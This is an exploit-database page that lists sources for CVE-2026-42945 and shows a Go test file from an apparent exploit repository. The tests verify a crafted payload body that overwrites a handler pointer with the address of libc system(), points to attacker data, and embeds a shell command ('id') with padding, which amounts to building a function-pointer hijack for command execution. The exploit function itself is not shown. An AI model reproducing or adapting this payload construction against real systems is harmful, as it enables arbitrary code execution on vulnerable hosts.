Exploit databaseDownload repository ZIP
GH-b684d180dd94bbc7b641ec4c4831ec85
redcrazyghost/cve-2026-42945
Sources for CVE-2026-42945
32 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files7
redcrazyghost/cve-2026-42945Revision f07a64bf9a68
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
internal/rift/body_test.go
Go · 1,215 bytespackage rift
import (
"encoding/binary"
"strings"
"testing"
)
func TestMakeBodyLayout(t *testing.T) {
const (
data = 0x555555659000 + 0x5a427 + 24
system = 0x7ffff77ba000 + 0x50d70
)
body, err := MakeBody("id", data, system)
if err != nil {
t.Fatal(err)
}
if len(body) != BodyLen {
t.Fatalf("len=%d want %d", len(body), BodyLen)
}
if got := binary.LittleEndian.Uint64(body[0:8]); got != system {
t.Fatalf("handler: %#x", got)
}
if got := binary.LittleEndian.Uint64(body[8:16]); got != data {
t.Fatalf("data: %#x", got)
}
if body[16] != 0 || body[17] != 0 {
t.Fatal("next should be zero")
}
if string(body[24:26]) != "id" || body[26] != 0 {
t.Fatalf("cmd prefix: %q", body[24:30])
}
if body[BodyLen-1] != 'A' {
t.Fatal("padding")
}
}
func TestMakeBodyCommandTooLong(t *testing.T) {
const data = 0x555555659000 + 0x5a427 + 24
const system = 0x7ffff77ba000 + 0x50d70
longCmd := strings.Repeat("A", BodyLen)
_, err := MakeBody(longCmd, data, system)
if err == nil {
t.Fatal("expected error for command too long")
}
}
func TestAddrIsSafeKnown(t *testing.T) {
addr := uint64(0x555555659000 + 0x5a427)
if !AddrIsSafe(addr) {
t.Fatalf("expected safe %#x", addr)
}
}